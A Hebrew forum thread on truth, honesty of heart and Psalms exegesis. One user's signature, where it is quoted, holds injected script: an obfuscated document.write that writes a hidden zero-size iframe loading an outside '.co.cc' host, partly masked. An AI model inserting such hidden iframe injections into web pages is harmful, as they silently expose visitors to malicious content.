בית פורומים עצור כאן חושבים

מהם "עקרונות" ו"אמת"

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-18/11/2016 14:04 לינק ישיר 

אליקים7241 כתב:
מם80
אני מסכים שבעיקרון תיתכן כפילות של אותו רעיון, ובכל זאת עלינו לשאול את עצמנו מדוע הכותב בחר דווקא במילה "קרוב" עבור נשברי לב, ובמילה "יושיע" עבור נדכאי-רוח.


אפשר לומר שלהבדיל מרוב בני האדם שאינם מבינים ללבם של נשברי לב, הקב"ה קרוב אליהם, וכשהרוח הפנימית מדוכאה נדרשת ישועה. מכל מקום, ספר תהלים זו שירה, מעבר לדיוקים ולחילוקים כדאי להבין את הרוח הכללית. זבחי א-להים רוח נשברה, לב נשבר ונדכה א-להים לא תבזה (תהלים נב, יט).




דדווח על תוכן פוגעני

מחובר
נשלח ב-19/11/2016 20:05 לינק ישיר 

ספר תהילים הוא קודם כל תורה, ורק אחר כך הוא גם שירה. עם זאת אני מסכים שצריך קודם להבין את הרוח הכללית, וזה לדעתי לא רק בשירה אלא גם בתורה, אבל יחד עם זאת, בכל שאלה שעולה חובה עלינו לעצור ולעיין בפרטים. כן ראה לי. מה שכתבו המפרשים כמו בציטוט שהבאת, שזה כפל לשון, זה רק בגלל שהיכן שאיננו יודעים לפרש, ואין לנו צורך לבדוק מה הפרוש - אז אפשר להשאיר את השאלה בצד בטענת "כפל לשון", וכשיגדיל בתורה ידע לפרש ולתרץ לעצמו דבר הקשה.



דדווח על תוכן פוגעני

מנותק
נשלח ב-19/11/2016 21:50 לינק ישיר 

כתב רס"ג: דרך העבריים  ליחס שני דברים לשני בני אדם והכוונה שהם יחד מתיחסים אל כל אחד מהם, וזה כגון דבר ה' יתהדר ויתרומם, אור זרוע לצדיק ולישרי לב שמחה, לא שלל מישרי לב מה שחייב לצדיק, ולא מהצדיק מה שחייב לישרי לב, אלא הכל לכל אחד מהם, ויהיה הסדר אור ושמחה זרועים לצדיק ולישרי לב. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/11/2016 22:04 לינק ישיר 

לדעתי כוונת הרסג היא רק לומר שלא נמעט מהצדיק את השמחה ומישרי לב את האור, אלא שהאמירה היא כללית, ולשניהם מגיעים שניהם, ובכל זאת לכל אחד יש את מעלתו המיוחדת, בגינה הוא זוכה לשכר מיוחד, ועל כן אע"פ שמצד רוח הדברים לשניהם מגיעים שניהם, מ"מ הפשט במילים עצמם הוא שלכל אחד יש שכר עם דגש אחר, וכמובן שצריך גם את רוח הדברים וגם את פשט המילים עצמם, והא בלא הא לא סגיא.



דדווח על תוכן פוגעני

מנותק
נשלח ב-19/11/2016 22:43 לינק ישיר 

פירוש יפה, אלא שלענ"ד כוונת רס"ג שעומק פשוטו של מקרא איננו חילוק, וכן הוא מפרש את הפסוק שמע בני מוסר אביך ואל תטוש תורת אמך: לא יחד את האב במוסר והאם בתורה, אלא שניהם מתיחסים אל האב והאם, ויהיה הסדר בפירושו שמע בני מוסר אביך ואמך ותורתם אל תטוש.


תוקן על ידי מם80 ב- 19/11/2016 22:44:08




דדווח על תוכן פוגעני

מחובר
נשלח ב-20/11/2016 00:16 לינק ישיר 

הדיון הצדדי הועבר

"כפילויות של מילים נרדפות" - קישור


אפשר לחזור לדיון על אמת פנימית ועל שקר עצמי




דדווח על תוכן פוגעני

מנותק
נשלח ב-20/11/2016 01:22 לינק ישיר 

מיימוני כתב:


אני סבור שאתה צודק. כלומר, זה איפיון נכון של מה שאנו מדברים עליו כ"איש האמת". כלומר, האידיאל.



תודה, חשוב לי לדעת כי אולי התקדמתי.

***איש האמת לא ישקר לעצמו במובן שלא יטייח עובדות לא נעימות.***
רציתי להבהיר כי הגיון טכני ביושר לב הוא משני ביחס להרגשה לפני שמדברים.
הרי הבאתי לדוגמה את המוסיקה, הרי לוגיקה בסוג, - 'אם A=B+C, אז B=A-C' -
ההיגיון כזה לא רלוונטי באמנות המוסיקה. ובעצם, בכלל באמנות הוא משני ממש.
האדם קודם כול מרגיש את השקר הפנימי, לפני שמשקיע בלוגיקה. ויכול להיות המקרה כאשר יושר פנימי מכריע בכלל לא להתעסק בלוגיקה במקרה הזה.
גם חכמת הלב-הפילוסופיה אינה חכמת לב בלא היגיון הלב. ואילו בלוגיקה 'A+B=C' יכול לעסוק גם מנוול.

אם זה ברור, אפשר לעבור גם אל השאלה מה בעצם אמת באמת התורה. בינתיים אתה יכול לחפש את התאוריה המתאימה מאלה שהבאת לעיל.

אבל קודם, האם דבריי מתאימים לנכון?

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-20/11/2016 16:47 לינק ישיר 

קישור  - באשכול "דעת א-לוהים בפילוספיה כללית" (בלי הקו)– בעמ' 11.

אמונה מהותית->שכל מהותי->שכל טכני->אמונה טכנית.

 

לדוגמא:

המספר 2

"אמונה" מהותיתריבוי (יחידה אחת מרובת פרטים).

שכל מהותי – מיעוט רבים שניים.

שכל טכני – אחד ועוד אחד.

"אמונה" טכנית – שני אינדבדואלים.

ניתן לראות בבירור שיש כאן ירידה מהסתכלות על השניים כיחידה אחת, ועד להסתכלות על השניים כמורכבים באופן שלא ניתן לאיחוד.

שתי צורות השכל – הם ספירה וחשבון.

שתי צורות האמונה – הם התייחסות אישית.

שתי המהויות – מסתכלות על הדבר כפי שהוא.

שתי החשיבות הטכניות – הסתכלות על כיצד הדבר מורכב.

 

אני אישית בעד האמונה המהותית ובעד השכל הטכני. כי שתיהם מסודרות במה שראוי להם. כי אמונה טכנית איננה אמונה, ושכל מהותי איננו שכל. אבל יבחר לו איש איש את דרכו.

 

 




דדווח על תוכן פוגעני

מנותק
נשלח ב-6/12/2016 00:39 לינק ישיר 

אליקים7241 כתב:
 ואיך אתה מפרש את הביטוי "נשברי לב"? 


מי שלא רק לא נוח לו נוכח שקר פנימי אלא הוא נכנס לדיכאון עכב חוסר אמת פנימי.
מצד אחד, הוא סובל יותר מאחרים, "עובי-עור", מצד שני, הדיכאון לא נותן לא להסתפק בשקר, וחיפוש אמת בשבילו הוא כבר עניין חיים ומוות, ואילו השגת האמת מביאה את השמחה האמתית אשר בלתי נותנת להשגה למסתפקים בשקר.
ואם נזכר כי אין שלם ולא יחטא, אין האדם שלם בטבעו, ושלמות היא רק יחסית, אז למקסימום שלמות מגיעים "נשברי הלב",
לכן אין שלם מלב שבור.

על פי מתווה הזה קורה מה שקורה עם הנביאים, סובלים אבל מוכרחים בכורח פנימי לחתור אל האמת.



דדווח על תוכן פוגעני

מנותק
נשלח ב-6/12/2016 08:00 לינק ישיר 

ינוח

קשה לי להבין על אלו תופעות אתה מדבר. זה עולם פנימי שאינו נגיש לאחרים. אמנם אנו מקוים שאנו מסוגלים להבין זה את זה, אבל כאן, בתיאור של חויות פנימיות, אנו נזקקים למטאפורות. בשיחה בין אדם לחברו על משהו בעולם הפיזיקלי, אם יש חשש לטעות, אפשר להצביע ולשאול: מה אתה רואה, לדווח: זה מה שאני רואה. אבל כאשר מדובר בחיי הנפש, אם אין תיאור ארוך ולא רק של התחושה אלא של הנסיבות, האם נוכל לברר שאנו מדברים על אותו דבר?

בכל זאת, אני רוצה להתייחס למשהו שכתבת. כתבת על תופעה שאני סבור שאני מכיר: והיא הרצון להיות אמיתי עם עצמי ועם החוץ. כלומר, לא לשקר לא לעצמי ולא לזולתי. הבעיה היא כמובן שזה לא אפשרי. וגם לא הגון. האם אומר לאחרים שהם עושים טעויות, שהבגד שבחרו הוא מכוער, שאני חלוק עליהם בהכרעות שונות בחייהם? למה לגרום להם עוגמת נפש ותחושה של מחלוקת אם לא ירצו לשמוע ממני או אין בידם לתקן?

וגם לגבי עצמי אני נאלץ להשלים עם זה שהיו ויש לי תקוות רבות מעצמי אבל איני עומד בהן. הדוגמא הפשוטה המוכרת לכולן היא לכוון בכל תפילת "18" (או אפילו בחלקה, או אפילו בברכה אחת) במובן של לא לחשוב באמצע על משהו אחר...

אפשר שאדם צריך לקבל את החלקים האפורים בעצמו. זה לא אומר לוותר אבל להבין שהתקוה להיות מושלם ולו בדברים מסויימים שאני מגדיר לעצמי זוהי תקות שוא, והעבודה שלי בעולם הזה עם עצמי היא ללמוד לחיות עם זה, לשמוח בחלקי ולהמשיך להשקיע קדימה.

האם דברים אלו מתחברים למה שכתבת?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-8/12/2016 01:24 לינק ישיר 

מיימוני כתב:
האם דברים אלו מתחברים למה שכתבת?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



לי נראה כי יש תמימות דעים בין דבריך לבין דבריי.

אנסה לנסח את העקרונות המוסכמים,
- אמתות האדם היא ביושר לבבו.
- יכולים להיות מקרים כאשר כדי לא לשקר בנפשו, האדם אמור לשקר לאחרים.
- אי אפשר לשמור על יושר לב באופן מוחלט, כי זה בלתי אפשרי לפי טבע האדם.
אבל אסור בכוונת תחילה לדחות את העיקרון הזה האמור להנחות את האדם בכול מאודו.

***תפילת "18"***
בהקשר לזה יש להודות כי אין ולא יכול להיות "צדיק מוחלט", "גאולה מוחלטת", כי מוחלט הוא רק הא-ל.
ואם לשחרר את האדם מכל עושק, וגם יחיה אלף שנים עם תיאבון מצוין, לא תהיה זאת הגאולה ובמיוחד לא שלמה, אם ישקר בנפשו בכוונת תחילה. כי שקר בנפשו הוא העושק העיקרי.

אודה על תגובתך.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-12/2/2017 16:22 לינק ישיר 

ינוח היקר

אתה מייחס לי עקרונות נעלים, אבל זה יותר מתוך נדיבות נפשך מאשר ממה שכתבתי.

כמו כן, אני חושש מכללים ועקרונות בהקשר כזה. זאת בגלל שיש לי חשד ששום כלל פשטני אינו יכול למצות את הראוי עבור האדם, לא בין אדם לחברו ולא בין אדם לעצמו.

ועם כל זאת, קשה מאד שלא להסכים למה שכתבת.

ודאי שחשוב שאדם יהיה אמתי עם עצמו ולא ישקר לעצמו - אבל האם זה אפשרי? (וצריך להרחיב).

ודאי שיש מקרים שצריך לשקר לאחרים. אבל לאו דווקא מפני שאני איני חפץ לשקר לעצמי אלא מפני שהאלטרנטיבה גרועה יותר. היה זה כבר סוקרטס ששאל מה לעשות כאשר אדם השאיל לי סכין וכעת מבקשו בחזרה כדי לרצוח. האם אין עלי לשקר לו שהסכין אינה ברשותי מאשר להחזיר לו ושידקור?

כתבת

- אי אפשר לשמור על יושר לב באופן מוחלט, כי זה בלתי אפשרי לפי טבע האדם.
אבל אסור בכוונת תחילה לדחות את העיקרון הזה האמור להנחות את האדם בכול מאודו.


דברים אלו ראויים אליך. ובעיני מצא חן גם שכללת שני צדדים מנוגדים. את הדרישה ואת ההתחשבות בכך שאנו אנושיים ואיננו מסוגלים ליישם זאת לגמרי. (ואולי כאן אני מתחשב בגיל ובנסיון, בעוד שבהיותי צעיר ותמים ונלהב לא הייתי מוותר על הדרישות הגבוהות).

אין תכונות מוחלטות, וזה אני מסכים. אולם לומר שרק לאלוקים  תכונות מוחלטות זה מעורר קשיים פילוסופיים ותאולוגיים בעיני. כשאנו מייחסים לאלוקים תכונות על, זה לא בא לפי הבנתי לומר שיש לו תכונות כאלו, אלא שכך אנו נאלצים לדבר אודותיו. שהרי אי אפשר לומר עליו מאומה (זו סתירה ועסקתי בכך באשכול החביב עלי, לך דומיה תהלה).

לפיכך, המשפט שמשווה בין חוסר היכולת למוחלטות שלנו למוחלטות של אלוקים נראה לי תמים מדי מבחינה פילוסופית.

לגבי המשפט האחרון שלך, עלי לעיין בו.

דנת במצב של "גאולה מושלמת" ודחית את האפשרות שבמצב כזה יהיו לאדם צרכים וחסרונות גם אם הוא יוכל למלא אותם מייד ובשלמות. אולם דומה שזו יותר הערה על המושג של "גאולה מושלמת". אולי איננו מסוגלים לדמיין לעצמנו משהו כזה? מפני שאם אתה שואל אותי, בהחלט אחוש בגן עדן אם אהיה בו במצב של בריאות שלימה, יכולת לאכול מעדנים ולעסוק בפעילות אינטלקטואלית, עם חברים טובים... נכון שזו נראית הנמכה של גן העדן, אבל זה עדיין יכול להיות מקום יפה ומהנה ביותר. עבורי ועבור מי שכמוני. יהיו כאלו שיעדיפו, נניח, משחק כדורגל אינסופי.

השאלה האחרונה שעולה מדבריך היא המעניינת ביותר. האם יתכן חוסר כנות עצמי בגן עדן? זו שאלה שצריך לחשוב עליה. ואיקון ירוק על האתגר...

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-28/2/2017 21:41 לינק ישיר 

באם נחליף את התיאור אמת בתיאור יושר אזי אז אולי יבוארו הדברים. יושר פירושו היצמדות לכללים, אין במילה "יושר" שאיפה להגדיר את המציאות כאדם העומד מבחוץ ומנסה לנחש נכונה מה מבפנים, אלא אך ורק רצון להימנע מכל סתירה כל שהיא.
   
שני המילים האמורים לעיל מתחלפים זה בזה, האמת ישר והישר אומר את האמת.

ההבדל הדק ביניהם הוא נקודת ההתחלה. האם יש האופן בו אני בודק אמיתות דבר הוא כמלמד אשר בידו התשובות לשאלות שהוא שאל וכל שאלה נבדקת לפי התשובות שבידו שזה ה"אמת". הרי לכסיל יחשב אדם המחליט רמת אמיתות תשובה בדבר שאינו יודע. 

ע"כ מוכרח הדבר שידיעת אמת מתחלת בידיעת אמת שאפשר להשוות בין הבעיה העומדת מולנו וה"אמת" הידועה לנו.

נניח שאין לנו אמת בכיס שמאפשרת בדיקת כל דבר לאור האמת מוכרחים אנו למצוא משהו אחר שכבר ברשותנו, חפץ בכיס שיאפשר לנו לבדוק ולסמן מהו אמת ומהו שקר.

דבר זה הוא הישרות. אין אדם שאינו יכול להיות ישר באם רק ירצה. אפילו אם ידע שאין הוא ישר לגמרי בידו עלכ"פ הישרות אשר בידו תודיע לו שמוטל עליו ליישר את עצמו .

האדם מוצא בנפשו ישרות ובתורה אמת. אדם ללא ישרות אפילו האמת מונחת בפניו לא יוכל להשיגה, אדם ישר ללא אמת יתקרב לאמת וללא ספק מבחירי האדם.  היהודי הישר הלומד, אשרי עין ראתה זאת.



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/3/2017 01:53 לינק ישיר 

מיימוני כתב:
היה זה כבר סוקרטס ששאל מה לעשות כאשר אדם השאיל לי סכין וכעת מבקשו בחזרה כדי לרצוח. האם אין עלי לשקר לו שהסכין אינה ברשותי מאשר להחזיר לו ושידקור?



בדבריי אני אתייחס גם אל דברי כפויגיגית.

תודה, מיימוני, על הדוגמה, את הדוגמה הזאת אני תמיד שומר במלי הראיות הבולטות.
אם כי אצל אפלטון ב"פוליטיאה" מדובר, לפי מיטב זיכרוני, לא על "כדי לרצוח", אלא בחור סתם השתגע, ואינו דבר ישר הוא לספר ישר לו את כל האמת ולחזיר לו את הנשק.

***אולם לומר שרק לאלוקים תכונות מוחלטות זה מעורר קשיים פילוסופיים ותאולוגיים בעיני. כשאנו מייחסים לאלוקים תכונות על, זה לא בא לפי הבנתי לומר שיש לו תכונות כאלו, אלא שכך אנו נאלצים לדבר אודותיו.***
מוחלט הוא במשמעו בלתי משתנה ונצחי.

***ובעיני מצא חן גם שכללת שני צדדים מנוגדים. את הדרישה ואת ההתחשבות בכך שאנו אנושיים ואיננו מסוגלים ליישם זאת לגמרי.
אין תכונות מוחלטות, וזה אני מסכים.***
תודה, חשוב לי לדעת על מה שאתה מסכים אתו. כלומר, "צדיק גמור" - אין דבר כזה בטבע ולא יכול להיות, אם כי מניח אני, מסוכן להודות בזה בחוגים מסוימים באופן גלוי.

***השאלה האחרונה שעולה מדבריך היא המעניינת ביותר. האם יתכן חוסר כנות עצמי בגן עדן? זו שאלה שצריך לחשוב עליה.***
אגב, איפה זה, גן עדן? אבל לדעתך, לא על דעת צדיקים גמורים.


***שני המילים האמורים לעיל מתחלפים זה בזה, האמת ישר והישר אומר את האמת.***

אגלה את התיאוריה שלי.

יש אמת חיצונית, ויש אמת פנימית.
מה זה אמת חיצונית? אמת חיצונית היא תואם, זהות בין דימוי שכלי לבין המציאות.

ומה זה אמת פנימית? פעילות על פי ציווי המצפון, או בשפה תנ"כית – יושר לב.
ו"צוויו המצפון" הוא מושג די מדעי. מצפון יכול לצוות לקבל משהו כתוב או נאמר כאמת חיצונית, או יכול לצוות לא לציית לציווי חיצוני מאת מישהו. ומצפון יכול לומר כי מישהו משקר לעצמו כאשר מספר אמת חיצונית כמו במקרה אמת למשוגע בדוגמה לעיל.

בכול מקרה, מושג "אמת" הוא לא רלוונטי בלי בן אדם, כי האמת מאפיינת או את תואם האדם למציאות חיצונית, או תואם למציאות פנימית.

באמנות, למשל, אמת חיצונית בכלל לא רלוונטית יכולה להיות, ואמיתי הוא האמן אשר מבטא קודם כל אמת פנימית.

בספר המדע אפשר לקבל את המודל המדעי כאמיתי באמת חיצונית.
בספר כיצירת האמנות יכול להיות הכול בדוי אשר לא היה ולא נברא, אבל מבטא את האמת הפנימית.
והספר המבטא את האמת החיצונית כביכול, אבל חסר ביטוי ישרת לבב המחבר, הספר הזה הוא לא אמיתי מבחינת ערך האמנות.

ביצירה המחפשת את ההשקפה האמיתית, בפילוסופיה האמיתית, יש צורך גם בתואם לחוקיות המציאות וגם ביטוי ליושר לב, חכמת לב.

יכולים לומר, כי המצפון אומר לאנשים שונים את הדברים השונים ואולי מנוגדים.
גם אותו איש יכול לשמוע משהו אחר עם הזמן.
קודם כול, האדם לא מושלם ולא יכול להשיג את האמת באופן מוחלט, לא את החיצונית ולא את הפנימית.
ואילו יכול להשתדל. וכדאי לו, כי בן אדם בנוי כך, כי יושר לב הוא המקור לשמחה אמתית.

האנשים שיסכימו על יושר לב כעקרון הראשון, יוכלו להוכיח איש את רעהו.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/3/2017 16:28 לינק ישיר 

"האנשים שיסכימו על יושר לב כעיקרון ראשון, יוכלו להוכיח איש את רעהו"

יישר כוחך על המשפט הזה. אין טוב וישר מנחיתה מוצלחת ממרום המחשבה לעומק המעשה. 

   גם בשאר דבריך נראה לשאין מקום לחלוק, וישרים ונכוחים הדברים. מבהירות המחשבה הניכרת בדבריך דומני שכתבת את דבריך כחילוק פנימי בתוך עולם היושר .
בין היושר שדואג לסדר את המחשבות של היום שלא יסתרו את המחשבות  של אתמול והיושר שמונע מסתירה בין מחשבה אישית (זיכרון, רגש, ) ומחשבה ציבורית (חמשת החושים).
ומכל מקום עדיין שניהם מוגדרים כיושר כי אין לאדם אלא מחשבותיו הוא.

נ.ב. באופן שווה, כשהגדרתי את התורה כאמת, זה  אך ורק בתוך מודל אישי שבו התורה היא הדבר היחיד שקרוי אמת משלל השמות ותארים שהדבקתי לאוצר ידיעותיי. ומכ"מ לכל אדם שאינו אני, אין הבדל בין התורה להארי פוטר ברמת ה"אמת" של זה. 



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > מהם "עקרונות" ו"אמת"
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 4 לדף הבא סך הכל 4 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.